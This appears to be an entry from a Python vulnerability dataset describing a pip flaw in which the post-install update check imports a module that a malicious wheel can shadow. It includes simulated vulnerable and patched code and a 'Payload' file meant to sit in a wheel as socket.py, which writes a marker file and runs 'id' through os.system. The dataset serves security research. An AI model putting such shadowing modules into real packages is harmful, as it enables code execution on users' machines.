CVE-2026-6357
pip's post-install update check may execute code from a malicious package.
- CVSS 5.3
- CWE-829
- Design Defects
- Local
pip prior to version 26.1 would run self-update check functionality after installing wheel files which required importing well-known Python modules names. These module imports were intentionally deferred to increase startup time of the pip CLI. The patch changes self-update functionality to run before wheels are installed to prevent newly-installed modules from being imported shortly after the installation of a wheel package. Users should still review package contents prior to installation.
- CWE
- CWE-829
- CVSS base score
- 5.3
- Published
- 2026-04-27
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Incorrect Algorithm
- Category
- Design Defects
- Subcategory
- Time-of-Check to Time-of-Use
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- pip
- Fixed by upgrading
- Yes
Solution
Upgrade pip to version 26.1 or later.
Vulnerable code sample
import sys
from pathlib import Path
import shutil
def _simulate_wheel_install():
"""Simulates pip installing a wheel file to a temporary directory."""
install_dir = Path("./temp_site_packages_dir")
install_dir.mkdir(exist_ok=True)
# The malicious wheel contains a file named 'os.py' to shadow the standard library.
malicious_code = 'print("[!] Malicious `os.py` from wheel was imported and executed.")'
(install_dir / "os.py").write_text(malicious_code)
# The new installation directory is added to Python's path.
sys.path.insert(0, str(install_dir.resolve()))
def _simulate_post_install_update_check():
"""
Simulates pip's self-update check which, in vulnerable versions, ran
after the installation was complete and imported a common module name.
"""
# This deferred import is the trigger. It now finds and executes the
# malicious 'os.py' that was just placed into the path.
import os
# --- Main execution simulating the vulnerable pip behavior ---
# The vulnerability lies in the order of these two operations.
try:
# 1. The package is installed, placing a malicious module in the path.
_simulate_wheel_install()
# 2. The update check runs *after* installation, importing the now-hijacked module.
_simulate_post_install_update_check()
finally:
# Cleanup the simulation artifacts for a clean environment.
install_dir = Path("./temp_site_packages_dir")
if str(install_dir.resolve()) in sys.path:
sys.path.remove(str(install_dir.resolve()))
if install_dir.exists():
shutil.rmtree(install_dir)Patched code sample
import os
import sys
import importlib
def run_self_update_check():
"""
Simulates pip's self-update check, which imports a common module.
In the fixed version, this runs before any new packages are on the path.
"""
print("1. Running self-update check...")
try:
# This import safely resolves to the standard library 'http' module.
http_module = importlib.import_module("http")
print(f" -> Safely imported 'http' from: {http_module.__file__}")
except Exception as e:
print(f" -> An error occurred: {e}")
def install_package(package_name):
"""
Simulates the installation of a wheel that contains a malicious module
shadowing a standard library name (e.g., 'http.py').
"""
print(f"\n2. Installing package: {package_name}...")
# Create a fake malicious module in the current directory.
malicious_module_path = os.path.join(os.getcwd(), "http.py")
with open(malicious_module_path, "w") as f:
f.write('print("!!! Malicious http.py from package was executed !!!")\n')
# Add the current directory to the Python path to simulate installation.
sys.path.insert(0, os.getcwd())
print(" -> Potentially malicious 'http.py' is now on the Python path.")
# This main block demonstrates the fixed logic in pip >= 26.1.
# The vulnerability was an order-of-operations issue, and the fix
# was to reorder the calls.
if __name__ == "__main__":
print("--- Demonstrating Fixed Control Flow (CVE-2026-6357 fix) ---")
try:
# THE FIX: The self-update check is performed BEFORE the package
# is installed, preventing the import of any trojan modules from
# the package itself.
run_self_update_check()
# The installation happens only after the check is complete.
install_package("malicious-package-1.0.0.whl")
print("\nProcess finished. The self-update check ran safely before the")
print("potentially malicious package was installed.")
finally:
# Cleanup the simulated environment
if os.getcwd() in sys.path:
sys.path.remove(os.getcwd())
if os.path.exists("http.py"):
os.remove("http.py")Payload
# This payload would be saved as a file named, for example, 'socket.py'
# and included in the root of a malicious wheel package.
import os
import sys
try:
if sys.platform == "win32":
# On Windows, create a file in the user's temp directory
fpath = os.path.join(os.environ["TEMP"], "pwned.txt")
with open(fpath, "w") as f:
f.write("CVE-2026-6357 exploited")
else:
# On Unix-like systems, run a common command like 'id' and pipe to a file
os.system("id > /tmp/pwned")
except Exception:
pass
Cite this entry
@misc{vaitp:cve20266357,
title = {{pip's post-install update check may execute code from a malicious package.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-6357},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-6357/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
